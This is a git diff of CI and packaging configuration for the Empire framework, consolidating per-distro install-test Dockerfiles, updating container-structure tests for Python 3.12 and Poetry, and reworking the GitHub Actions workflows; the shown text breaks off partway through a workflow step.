diff --git a/.dockerignore b/.dockerignore
index 546c0cff5..bbb3bbfbe 100644
--- a/.dockerignore
+++ b/.dockerignore
@@ -1,6 +1,7 @@
# Git
**.git
.gitignore
+.github
# CI
.codeclimate.yml
diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md
index cb4b7468c..12b044ac8 100644
--- a/.github/CONTRIBUTING.md
+++ b/.github/CONTRIBUTING.md
@@ -47,7 +47,6 @@ The `main` branch in `BC-SECURITY/Empire` automatically syncs.
* We are using [psf/black](https://github.com/psf/black) for code formatting.
* We are using [charliermarsh/ruff](https://github.com/charliermarsh/ruff) for linting.
- * We are using the E, W, F, I, UP, and B rulesets.
* After implementing your changes:
1. run `ruff . --fix` (or `poetry run ruff . --fix`).
2. run `black .` (or `poetry run black .`).
diff --git a/.github/cst-config-docker.yaml b/.github/cst-config-docker.yaml
index 10f06f45a..195bdef20 100644
--- a/.github/cst-config-docker.yaml
+++ b/.github/cst-config-docker.yaml
@@ -1,10 +1,59 @@
schemaVersion: 2.0.0
commandTests:
- - name: "python3 which"
- command: "which"
- args: ["python3"]
+ - name: "poetry python"
+ command: "poetry"
+ args: ["run", "which", "python3"]
expectedOutput: ["/usr/local/bin/python3"]
- name: "python3 version"
command: "python3"
args: ["--version"]
- expectedOutput: ["Python 3.11.*"]
+ expectedOutput: ["Python 3.12.*"]
+ - name: "poetry"
+ command: "which"
+ args: ["poetry"]
+ expectedOutput: ["/usr/bin/poetry"]
+ - name: "poetry version"
+ command: "poetry"
+ args: ["--version"]
+ expectedOutput: ["Poetry (version 1.6*)*"]
+ - name: "poetry python version"
+ command: "poetry"
+ args: ["run", "python3", "--version"]
+ expectedOutput: ["Python 3.12.*"]
+ - name: "dotnet which"
+ command: "which"
+ args: ["dotnet"]
+ expectedOutput: ["/usr/bin/dotnet"]
+ - name: "dotnet version"
+ command: "dotnet"
+ args: [ "--version" ]
+ expectedOutput: ["6.0.*"]
+ - name: "powershell which"
+ command: "which"
+ args: ["pwsh"]
+ expectedOutput: ["/usr/bin/pwsh"]
+ - name: "powershell version"
+ command: "pwsh"
+ args: ["--version"]
+ expectedOutput: ["PowerShell 7.*"]
+ - name: "ps-empire help"
+ command: "./ps-empire"
+ args: ["server", "--help"]
+ expectedOutput: ["usage: empire.py server [-h]*"]
+ - name: "ps-empire version"
+ command: "./ps-empire"
+ args: ["server", "--version"]
+ expectedOutput: ["5.* BC Security Fork"]
+fileExistenceTests:
+ - name: 'profiles'
+ path: '/empire/empire/server/data/profiles/'
+ shouldExist: true
+ - name: 'invoke obfuscation'
+ path: '/usr/local/share/powershell/Modules/Invoke-Obfuscation/'
+ shouldExist: true
+ - name: 'sharpire'
+ path: '/empire/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire'
+ shouldExist: true
+ - name: 'starkiller'
+ path: '/empire/empire/server/api/v2/starkiller/index.html'
+ shouldExist: true
diff --git a/.github/install_tests/Debian10.Dockerfile b/.github/install_tests/Debian10.Dockerfile
deleted file mode 100644
index 6c8de919e..000000000
--- a/.github/install_tests/Debian10.Dockerfile
+++ /dev/null
@@ -1,10 +0,0 @@
-FROM debian:buster
-WORKDIR /empire
-COPY . /empire
-RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
-# No to all extras except yes to "Python 3.8"
-RUN echo 'n\nn\nn\ny\n' | /empire/setup/install.sh
-RUN rm -rf /empire/empire/server/data/empire*
-RUN yes | ./ps-empire server --reset
-ENTRYPOINT ["./ps-empire"]
-CMD ["server"]
diff --git a/.github/install_tests/Debian11.Dockerfile b/.github/install_tests/Debian11.Dockerfile
deleted file mode 100644
index 09bbe8657..000000000
--- a/.github/install_tests/Debian11.Dockerfile
+++ /dev/null
@@ -1,9 +0,0 @@
-FROM debian:bullseye
-WORKDIR /empire
-COPY . /empire
-RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
-RUN yes n | /empire/setup/install.sh
-RUN rm -rf /empire/empire/server/data/empire*
-RUN yes | ./ps-empire server --reset
-ENTRYPOINT ["./ps-empire"]
-CMD ["server"]
diff --git a/.github/install_tests/InstallTest.Dockerfile b/.github/install_tests/InstallTest.Dockerfile
new file mode 100644
index 000000000..dd1c398cd
--- /dev/null
+++ b/.github/install_tests/InstallTest.Dockerfile
@@ -0,0 +1,18 @@
+ARG BASE_IMAGE
+FROM $BASE_IMAGE
+WORKDIR /empire
+COPY . /empire
+
+SHELL ["/bin/bash", "-c"]
+
+RUN apt-get update && apt-get -y install sudo
+
+# Add a non-root user
+RUN echo 'empire ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
+RUN useradd -m empire
+RUN chown -R empire:empire /empire
+USER empire
+
+RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
+RUN yes | /empire/setup/install.sh
+RUN rm -rf /empire/empire/server/data/empire*
diff --git a/.github/install_tests/KaliRolling.Dockerfile b/.github/install_tests/KaliRolling.Dockerfile
deleted file mode 100644
index cc58a8da8..000000000
--- a/.github/install_tests/KaliRolling.Dockerfile
+++ /dev/null
@@ -1,9 +0,0 @@
-FROM kalilinux/kali-rolling:latest
-WORKDIR /empire
-COPY . /empire
-RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
-RUN yes n | /empire/setup/install.sh
-RUN rm -rf /empire/empire/server/data/empire*
-RUN yes | ./ps-empire server --reset
-ENTRYPOINT ["./ps-empire"]
-CMD ["server"]
diff --git a/.github/install_tests/ParrotRolling.Dockerfile b/.github/install_tests/ParrotRolling.Dockerfile
deleted file mode 100644
index c0cee41b5..000000000
--- a/.github/install_tests/ParrotRolling.Dockerfile
+++ /dev/null
@@ -1,9 +0,0 @@
-FROM parrotsec/core:latest
-WORKDIR /empire
-COPY . /empire
-RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
-RUN yes n | /empire/setup/install.sh
-RUN rm -rf /empire/empire/server/data/empire*
-RUN yes | ./ps-empire server --reset
-ENTRYPOINT ["./ps-empire"]
-CMD ["server"]
diff --git a/.github/install_tests/Ubuntu2004.Dockerfile b/.github/install_tests/Ubuntu2004.Dockerfile
deleted file mode 100644
index 4b92c6d03..000000000
--- a/.github/install_tests/Ubuntu2004.Dockerfile
+++ /dev/null
@@ -1,9 +0,0 @@
-FROM ubuntu:20.04
-WORKDIR /empire
-COPY . /empire
-RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
-RUN yes n | /empire/setup/install.sh
-RUN rm -rf /empire/empire/server/data/empire*
-RUN yes | ./ps-empire server --reset
-ENTRYPOINT ["./ps-empire"]
-CMD ["server"]
diff --git a/.github/install_tests/Ubuntu2204.Dockerfile b/.github/install_tests/Ubuntu2204.Dockerfile
deleted file mode 100644
index 67cf7c767..000000000
--- a/.github/install_tests/Ubuntu2204.Dockerfile
+++ /dev/null
@@ -1,9 +0,0 @@
-FROM ubuntu:22.04
-WORKDIR /empire
-COPY . /empire
-RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
-RUN yes n | /empire/setup/install.sh
-RUN rm -rf /empire/empire/server/data/empire*
-RUN yes | ./ps-empire server --reset
-ENTRYPOINT ["./ps-empire"]
-CMD ["server"]
diff --git a/.github/install_tests/cst-config-debian.yaml b/.github/install_tests/cst-config-debian.yaml
new file mode 100644
index 000000000..b33ad2db9
--- /dev/null
+++ b/.github/install_tests/cst-config-debian.yaml
@@ -0,0 +1,8 @@
+schemaVersion: 2.0.0
+containerRunOptions:
+ user: "empire"
+commandTests:
+ - name: "mysql version"
+ command: "mysql"
+ args: ["--version"]
+ expectedOutput: ["mysql Ver 15.*10.*-MariaDB"]
diff --git a/.github/install_tests/cst-config-debian10.yaml b/.github/install_tests/cst-config-debian10.yaml
deleted file mode 100644
index 8b84743fe..000000000
--- a/.github/install_tests/cst-config-debian10.yaml
+++ /dev/null
@@ -1,18 +0,0 @@
-schemaVersion: 2.0.0
-commandTests:
- - name: "python3.8 which"
- command: "which"
- args: ["python3.8"]
- expectedOutput: ["/usr/local/bin/python3"]
- - name: "python3.8 version"
- command: "python3.8"
- args: ["--version"]
- expectedOutput: ["Python 3.8.*"]
- - name: "mysql which"
- command: "which"
- args: ["mysql"]
- expectedOutput: ["/usr/bin/mysql"]
- - name: "mysql version"
- command: "mysql"
- args: ["--version"]
- expectedOutput: ["mysql Ver 15.*10.*-MariaDB"]
diff --git a/.github/install_tests/cst-config-debian11.yaml b/.github/install_tests/cst-config-debian11.yaml
deleted file mode 100644
index f42b73fb9..000000000
--- a/.github/install_tests/cst-config-debian11.yaml
+++ /dev/null
@@ -1,18 +0,0 @@
-schemaVersion: 2.0.0
-commandTests:
- - name: "python3 which"
- command: "which"
- args: ["python3"]
- expectedOutput: ["/usr/bin/python3"]
- - name: "python3 version"
- command: "python3"
- args: ["--version"]
- expectedOutput: ["Python 3.9.*"]
- - name: "mysql which"
- command: "which"
- args: ["mysql"]
- expectedOutput: ["/usr/bin/mysql"]
- - name: "mysql version"
- command: "mysql"
- args: ["--version"]
- expectedOutput: ["mysql Ver 15.*10.*-MariaDB"]
diff --git a/.github/cst-config-base.yaml b/.github/install_tests/cst-config-install-base.yaml
similarity index 50%
rename from .github/cst-config-base.yaml
rename to .github/install_tests/cst-config-install-base.yaml
index cd1309d4a..4bce95cbb 100644
--- a/.github/cst-config-base.yaml
+++ b/.github/install_tests/cst-config-install-base.yaml
@@ -1,5 +1,32 @@
schemaVersion: 2.0.0
commandTests:
+ # pyenv
+ - name: "pyenv"
+ command: "which"
+ args: ["pyenv"]
+ expectedOutput: ["/usr/bin/pyenv"]
+ - name: "pyenv version"
+ command: "pyenv"
+ args: ["--version"]
+ expectedOutput: ["pyenv 2.3.*"]
+ # poetry
+ - name: "poetry python"
+ command: "poetry"
+ args: ["run", "which", "python3"]
+ expectedOutput: ["/empire/.venv/bin/python3"]
+ - name: "poetry"
+ command: "which"
+ args: ["poetry"]
+ expectedOutput: ["/usr/bin/poetry"]
+ - name: "poetry version"
+ command: "poetry"
+ args: ["--version"]
+ expectedOutput: ["Poetry (version 1.6*)*"]
+ - name: "poetry python version"
+ command: "poetry"
+ args: ["run", "python3", "--version"]
+ expectedOutput: ["Python 3.12.*"]
+ # dotnet
- name: "dotnet which"
command: "which"
args: ["dotnet"]
@@ -8,6 +35,7 @@ commandTests:
command: "dotnet"
args: [ "--version" ]
expectedOutput: ["6.0.*"]
+ # powershell
- name: "powershell which"
command: "which"
args: ["pwsh"]
@@ -16,6 +44,21 @@ commandTests:
command: "pwsh"
args: ["--version"]
expectedOutput: ["PowerShell 7.*"]
+ # mysql
+ - name: "mysql which"
+ command: "which"
+ args: ["mysql"]
+ expectedOutput: ["/usr/bin/mysql"]
+ # nim
+ - name: "nim which"
+ command: "which"
+ args: ["nim"]
+ expectedOutput: ["/usr/bin/nim"]
+ - name: "nim version"
+ command: "nim"
+ args: ["--version"]
+ expectedOutput: ["Nim Compiler Version 1.6.*"]
+ # run
- name: "ps-empire help"
command: "./ps-empire"
args: ["server", "--help"]
@@ -34,4 +77,3 @@ fileExistenceTests:
- name: 'sharpire'
path: '/empire/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire'
shouldExist: true
-
\ No newline at end of file
diff --git a/.github/install_tests/cst-config-kali.yaml b/.github/install_tests/cst-config-kali.yaml
new file mode 100644
index 000000000..b33ad2db9
--- /dev/null
+++ b/.github/install_tests/cst-config-kali.yaml
@@ -0,0 +1,8 @@
+schemaVersion: 2.0.0
+containerRunOptions:
+ user: "empire"
+commandTests:
+ - name: "mysql version"
+ command: "mysql"
+ args: ["--version"]
+ expectedOutput: ["mysql Ver 15.*10.*-MariaDB"]
diff --git a/.github/install_tests/cst-config-kalirolling.yaml b/.github/install_tests/cst-config-kalirolling.yaml
deleted file mode 100644
index df105d04c..000000000
--- a/.github/install_tests/cst-config-kalirolling.yaml
+++ /dev/null
@@ -1,18 +0,0 @@
-schemaVersion: 2.0.0
-commandTests:
- - name: "python3 which"
- command: "which"
- args: ["python3"]
- expectedOutput: ["/usr/bin/python3"]
- - name: "python3 version"
- command: "python3"
- args: ["--version"]
- expectedOutput: ["Python 3.11.*"]
- - name: "mysql which"
- command: "which"
- args: ["mysql"]
- expectedOutput: ["/usr/bin/mysql"]
- - name: "mysql version"
- command: "mysql"
- args: ["--version"]
- expectedOutput: ["mysql Ver 15.*10.*-MariaDB"]
diff --git a/.github/install_tests/cst-config-parrot.yaml b/.github/install_tests/cst-config-parrot.yaml
new file mode 100644
index 000000000..b33ad2db9
--- /dev/null
+++ b/.github/install_tests/cst-config-parrot.yaml
@@ -0,0 +1,8 @@
+schemaVersion: 2.0.0
+containerRunOptions:
+ user: "empire"
+commandTests:
+ - name: "mysql version"
+ command: "mysql"
+ args: ["--version"]
+ expectedOutput: ["mysql Ver 15.*10.*-MariaDB"]
diff --git a/.github/install_tests/cst-config-parrotrolling.yaml b/.github/install_tests/cst-config-parrotrolling.yaml
deleted file mode 100644
index b5b947bc7..000000000
--- a/.github/install_tests/cst-config-parrotrolling.yaml
+++ /dev/null
@@ -1,18 +0,0 @@
-schemaVersion: 2.0.0
-commandTests:
- - name: "python3 which"
- command: "which"
- args: ["python3"]
- expectedOutput: ["/usr/bin/python3"]
- - name: "python3 version"
- command: "python3"
- args: ["--version"]
- expectedOutput: ["Python 3.9.*"]
- - name: "mysql which"
- command: "which"
- args: ["mysql"]
- expectedOutput: ["/usr/bin/mysql"]
- - name: "mysql version"
- command: "mysql"
- args: ["--version"]
- expectedOutput: ["mysql Ver 15.*10.*-MariaDB"]
\ No newline at end of file
diff --git a/.github/install_tests/cst-config-ubuntu.yaml b/.github/install_tests/cst-config-ubuntu.yaml
new file mode 100644
index 000000000..0702ea6eb
--- /dev/null
+++ b/.github/install_tests/cst-config-ubuntu.yaml
@@ -0,0 +1,8 @@
+schemaVersion: 2.0.0
+containerRunOptions:
+ user: "empire"
+commandTests:
+ - name: "mysql version"
+ command: "mysql"
+ args: ["--version"]
+ expectedOutput: ["mysql Ver 8.0.*"]
diff --git a/.github/install_tests/cst-config-ubuntu2004.yaml b/.github/install_tests/cst-config-ubuntu2004.yaml
deleted file mode 100644
index dd2c6e9f9..000000000
--- a/.github/install_tests/cst-config-ubuntu2004.yaml
+++ /dev/null
@@ -1,18 +0,0 @@
-schemaVersion: 2.0.0
-commandTests:
- - name: "python3 which"
- command: "which"
- args: ["python3"]
- expectedOutput: ["/usr/bin/python3"]
- - name: "python3 version"
- command: "python3"
- args: ["--version"]
- expectedOutput: ["Python 3.8.*"]
- - name: "mysql which"
- command: "which"
- args: ["mysql"]
- expectedOutput: ["/usr/bin/mysql"]
- - name: "mysql version"
- command: "mysql"
- args: ["--version"]
- expectedOutput: ["mysql Ver 8.0.*"]
diff --git a/.github/install_tests/cst-config-ubuntu2204.yaml b/.github/install_tests/cst-config-ubuntu2204.yaml
deleted file mode 100644
index d23728bde..000000000
--- a/.github/install_tests/cst-config-ubuntu2204.yaml
+++ /dev/null
@@ -1,18 +0,0 @@
-schemaVersion: 2.0.0
-commandTests:
- - name: "python3 which"
- command: "which"
- args: ["python3"]
- expectedOutput: ["/usr/bin/python3"]
- - name: "python3 version"
- command: "python3"
- args: ["--version"]
- expectedOutput: ["Python 3.10.*"]
- - name: "mysql which"
- command: "which"
- args: ["mysql"]
- expectedOutput: ["/usr/bin/mysql"]
- - name: "mysql version"
- command: "mysql"
- args: ["--version"]
- expectedOutput: ["mysql Ver 8.0.*"]
\ No newline at end of file
diff --git a/.github/install_tests/docker-compose-install-tests.yml b/.github/install_tests/docker-compose-install-tests.yml
index d40db603f..404685293 100644
--- a/.github/install_tests/docker-compose-install-tests.yml
+++ b/.github/install_tests/docker-compose-install-tests.yml
@@ -1,40 +1,65 @@
-# This is for testing the install script for the supported OS.
version: '3'
+x-common-build: &common-build
+ context: ../../
+ dockerfile: .github/install_tests/InstallTest.Dockerfile
+
+x-common-platform: &common-platform
+ platform: "linux/amd64"
+
services:
ubuntu2004:
build:
- context: ../../
- dockerfile: .github/install_tests/Ubuntu2004.Dockerfile
+ <<: *common-build
+ args:
+ BASE_IMAGE: ubuntu:20.04
image: bcsecurity/empire-test-ubuntu2004
- platform: "linux/amd64"
+ <<: *common-platform
+
ubuntu2204:
build:
- context: ../../
- dockerfile: .github/install_tests/Ubuntu2204.Dockerfile
+ <<: *common-build
+ args:
+ BASE_IMAGE: ubuntu:22.04
image: bcsecurity/empire-test-ubuntu2204
- platform: "linux/amd64"
+ <<: *common-platform
+
debian10:
build:
- context: ../../
- dockerfile: .github/install_tests/Debian10.Dockerfile
+ <<: *common-build
+ args:
+ BASE_IMAGE: debian:buster
image: bcsecurity/empire-test-debian10
- platform: "linux/amd64"
+ <<: *common-platform
+
debian11:
build:
- context: ../../
- dockerfile: .github/install_tests/Debian11.Dockerfile
+ <<: *common-build
+ args:
+ BASE_IMAGE: debian:bullseye
image: bcsecurity/empire-test-debian11
- platform: "linux/amd64"
+ <<: *common-platform
+
+ debian12:
+ build:
+ <<: *common-build
+ args:
+ BASE_IMAGE: debian:bookworm
+ image: bcsecurity/empire-test-debian12
+ <<: *common-platform
+
kalirolling:
build:
- context: ../../
- dockerfile: .github/install_tests/KaliRolling.Dockerfile
+ <<: *common-build
+ args:
+ BASE_IMAGE: kalilinux/kali-rolling
image: bcsecurity/empire-test-kalirolling
- platform: "linux/amd64"
+ <<: *common-platform
+
parrotrolling:
build:
- context: ../../
- dockerfile: .github/install_tests/ParrotRolling.Dockerfile
+ <<: *common-build
+ args:
+ BASE_IMAGE: parrotsec/core
image: bcsecurity/empire-test-parrotrolling
- platform: "linux/amd64"
+ <<: *common-platform
diff --git a/.github/install_tests/run-all-cst.sh b/.github/install_tests/run-all-cst.sh
new file mode 100755
index 000000000..04f43f853
--- /dev/null
+++ b/.github/install_tests/run-all-cst.sh
@@ -0,0 +1,29 @@
+#!/bin/bash
+set -e
+
+# The script is run like `./run-all-cst.sh debian12 debian11 debian10` to test multiple images
+# or `./run-all-cst.sh debian12` to test a single image
+# or `./run-all-cst.sh` to test all images
+
+all_images=(debian12 debian11 debian10 ubuntu2004 ubuntu2204 kalirolling parrotrolling)
+
+for image in "${@:-${all_images[@]}}"
+do
+ yaml=""
+ # For debian trim the numbers off the end
+ if [[ $image == debian* ]]; then
+ yaml=debian
+ fi
+ # For ubuntu trim the numbers off the end
+ if [[ $image == ubuntu* ]]; then
+ yaml=ubuntu
+ fi
+ # For kali and parrot trim "rolling" off the end
+ if [[ $image == kali* || $image == parrot* ]]; then
+ yaml=${image%rolling}
+ fi
+
+ echo "Testing $image with $yaml.yaml"
+ container-structure-test test -i docker.io/bcsecurity/empire-test-$image -c .github/install_tests/cst-config-install-base.yaml
+ container-structure-test test -i docker.io/bcsecurity/empire-test-$image -c .github/install_tests/cst-config-$yaml.yaml
+done
diff --git a/.github/workflows/dockerimage.yml b/.github/workflows/dockerimage.yml
index f76ef8caa..bb2ddd3c3 100644
--- a/.github/workflows/dockerimage.yml
+++ b/.github/workflows/dockerimage.yml
@@ -12,15 +12,35 @@ jobs:
if: ${{ github.repository == 'BC-SECURITY/Empire' }}
runs-on: ubuntu-latest
steps:
- - uses: actions/checkout@v3
+ - name: Checkout
+ uses: actions/checkout@v4
with:
- submodules: 'recursive'
- - name: Publish Docker
- uses: elgohr/Publish-Docker-Github-Action@v5
+ submodules: recursive
+ - name: Set up QEMU
+ uses: docker/setup-qemu-action@v3
+ - name: Set up Docker Buildx
+ uses: docker/setup-buildx-action@v3
+ - name: Login to Docker Hub
+ uses: docker/login-action@v3
with:
- name: bcsecurity/empire
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_PASSWORD }}
- dockerfile: Dockerfile
- default_branch: main
- tag_names: true
+ - name: Get tag names
+ id: tag-step
+ run: |
+ # If this is a release, the tag will be the same as the release tag
+ # If this is a push to main, the tag will be latest
+ if [[ "$GITHUB_REF" == refs/tags/* ]]; then
+ echo "RELEASE_TAG=${GITHUB_REF#refs/tags/}" >> "$GITHUB_OUTPUT"
+ echo "Using release tag ${GITHUB_REF#refs/tags/}"
+ elif [[ "$GITHUB_REF" == refs/heads/main ]]; then
+ echo "RELEASE_TAG=latest" >> "$GITHUB_OUTPUT"
+ echo "Using latest tag"
+ fi
+ - name: Build and push
+ uses: docker/build-push-action@v5
+ with:
+ context: .
+ platforms: linux/amd64,linux/arm64
+ push: true
+ tags: bcsecurity/empire-test:${{ steps.tag-step.outputs.RELEASE_TAG }}
diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml
index 041a37875..a8b04d04d 100644
--- a/.github/workflows/lint-and-test.yml
+++ b/.github/workflows/lint-and-test.yml
@@ -12,10 +12,10 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- - uses: psf/black@23.9.1
+ - uses: psf/black@23.10.1
- name: Run ruff
run: |
- pip install ruff==0.0.283
+ pip install ruff==0.1.4
ruff .
matrix-prep-config:
runs-on: ubuntu-latest
@@ -23,11 +23,11 @@ jobs:
- id: release
if: ${{ startsWith(github.head_ref, 'release/') || contains( github.event.pull_request.labels.*.name, 'run-all-versions') }}
run: |
- echo "config={\"python-version\": [\"3.8\", \"3.9\", \"3.10\", \"3.11\"]}" >> $GITHUB_OUTPUT
+ echo "config={\"python-version\": [\"3.10\", \"3.11\", \"3.12\"]}" >> $GITHUB_OUTPUT
- id: not-release
if: ${{ !startsWith(github.head_ref, 'release/') }}
run: |
- echo "config={\"python-version\": [\"3.8\", \"3.11\"]}" >> $GITHUB_OUTPUT
+ echo "config={\"python-version\": [\"3.10\", \"3.12\"]}" >> $GITHUB_OUTPUT
outputs:
config: ${{ steps.release.outputs.config || steps.not-release.outputs.config }}
test:
@@ -41,13 +41,13 @@ jobs:
matrix: ${{ fromJson(needs.matrix-prep-config.outputs.config) }}
steps:
- uses: actions/checkout@v3
- if: ${{ github.repository == 'BC-SECURITY/Empire' }}
+ if: ${{ endsWith(github.repository, 'Empire') }}
with:
submodules: 'recursive'
# token is only needed in sponsors repo because of private submodules
# don't use token in public repo because prs from forks cannot access secrets
- uses: actions/checkout@v3
- if: ${{ github.repository == 'BC-SECURITY/Empire-Sponsors' }}
+ if: ${{ endsWith(github.repository, 'Empire-Sponsors') }}
with:
submodules: 'recursive'
token: ${{ secrets.RELEASE_TOKEN }}
@@ -73,18 +73,18 @@ jobs:
poetry install
- name: Run test suite - mysql
run: |
- set -o pipefail
- if [ "${{ matrix.python-version }}" = "3.11" ]; then
- DATABASE_USE=mysql poetry run pytest -v --runslow --cov=empire/server --junitxml=pytest.xml --cov-report=term-missing:skip-covered . | tee pytest-coverage.txt
- else
- DATABASE_USE=mysql poetry run pytest -v --runslow .
- fi
+ set -o pipefail
+ if [ "${{ matrix.python-version }}" = "3.12" ]; then
+ DATABASE_USE=mysql poetry run pytest -v --runslow --cov=empire/server --junitxml=pytest.xml --cov-report=term-missing:skip-covered . | tee pytest-coverage.txt
+ else
+ DATABASE_USE=mysql poetry run pytest -v --runslow .
+ fi
- name: Run test suite - sqlite
if: ${{ startsWith(github.head_ref, 'release/') || contains(github.event.pull_request.labels.*.name, 'test-sqlite') }}
run: |
DATABASE_USE=sqlite poetry run pytest . -v --runslow
- name: Pytest coverage comment
- if: ${{ matrix.python-version == '3.11' }}
+ if: ${{ matrix.python-version == '3.12' }}
uses: MishaKav/pytest-coverage-comment@v1.1.48
with:
pytest-coverage-path: ./pytest-coverage.txt
@@ -100,107 +100,57 @@ jobs:
with:
submodules: 'recursive'
token: ${{ secrets.RELEASE_TOKEN }}
+ # For the sponsors repo, this is a sort of hack to get around the fact that
+ # the docker image fails on ./ps-empire sync-starkiller because the repo is private.
+ - name: Rewrite Starkiller
+ run: |
+ if [ ${{ endswith(github.repository, 'Empire-Sponsors') }} ]; then
+ sed -i 's|git@github.com:BC-SECURITY/Starkiller-Sponsors.git|https://github.com/BC-SECURITY/Starkiller.git|g' empire/server/config.yaml
+ sed -i 's|ref: sponsors-main|ref: main|g' empire/server/config.yaml
+ fi
- name: Build docker image
run: docker-compose -f .github/docker-compose.yml build
- name: Run tests on docker image
run: docker-compose -f .github/docker-compose.yml run test
- - name: run structure tests base
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: bcsecurity/empire-test:latest
- config: .github/cst-config-base.yaml
- name: run structure tests docker
- uses: plexsystems/container-structure-test-action@v0.1.0
+ uses: plexsystems/container-structure-test-action@v0.3.0
with:
image: bcsecurity/empire-test:latest
config: .github/cst-config-docker.yaml
test_install_script:
needs: test
- timeout-minutes: 45
+ timeout-minutes: 30
runs-on: ubuntu-latest
name: Test Install Script
+ strategy:
+ matrix:
+ # Because the box runs out of disk space, we can't run all tests on a single docker compose build.
+ images:
+ - ['debian10', 'debian11', 'debian12']
+ - ['ubuntu2004', 'ubuntu2204']
+ - ['kalirolling'] # 'parrotrolling'
+ # Parrot disabled for now because the apt repo is having some slowness issues.
+ # Install is running up way too many minutes.
steps:
- uses: actions/checkout@v3
with:
submodules: 'recursive'
depth: 0
- token: ${{ secrets.RELEASE_TOKEN }}
# To save CI time, only run these tests when the install script or deps changed
- name: Get changed files using defaults
id: changed-files
uses: tj-actions/changed-files@v29.0.2
- name: Build images
if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- run: docker-compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel
- - name: run structure tests base Ubuntu 20.04
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-ubuntu2004:latest
- config: .github/cst-config-base.yaml
- - name: run structure tests Ubuntu 20.04
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-ubuntu2004:latest
- config: .github/install_tests/cst-config-ubuntu2004.yaml
- - name: run structure tests base Ubuntu 22.04
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-ubuntu2204:latest
- config: .github/cst-config-base.yaml
- - name: run structure tests Ubuntu 22.04
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-ubuntu2204:latest
- config: .github/install_tests/cst-config-ubuntu2204.yaml
- - name: run structure tests base Debian 10
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-debian10:latest
- config: .github/cst-config-base.yaml
- - name: run structure tests Debian 10
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-debian10:latest
- config: .github/install_tests/cst-config-debian10.yaml
- - name: run structure tests base Debian 11
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-debian11:latest
- config: .github/cst-config-base.yaml
- - name: run structure tests Debian 11
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-debian11:latest
- config: .github/install_tests/cst-config-debian11.yaml
- - name: run structure tests Kali base
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-kalirolling:latest
- config: .github/cst-config-base.yaml
- - name: run structure tests Kali
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-kalirolling:latest
- config: .github/install_tests/cst-config-kalirolling.yaml
- - name: run structure tests Parrot base
- if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-parrotrolling:latest
- config: .github/cst-config-base.yaml
- - name: run structure tests Parrot
+ run: docker compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel ${{ join(matrix.images, ' ') }}
+ - name: run install tests
if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock')
- uses: plexsystems/container-structure-test-action@v0.1.0
- with:
- image: docker.io/bcsecurity/empire-test-parrotrolling:latest
- config: .github/install_tests/cst-config-parrotrolling.yaml
+ # Using a script instead of prepackaged action because composite actions can't uses
+ # a matrix and this is way simpler to read.
+ run: |
+ curl -LO https://storage.googleapis.com/container-structure-test/latest/container-structure-test-linux-amd64 && \
+ chmod +x container-structure-test-linux-amd64 && \
+ mkdir -p $HOME/bin && \
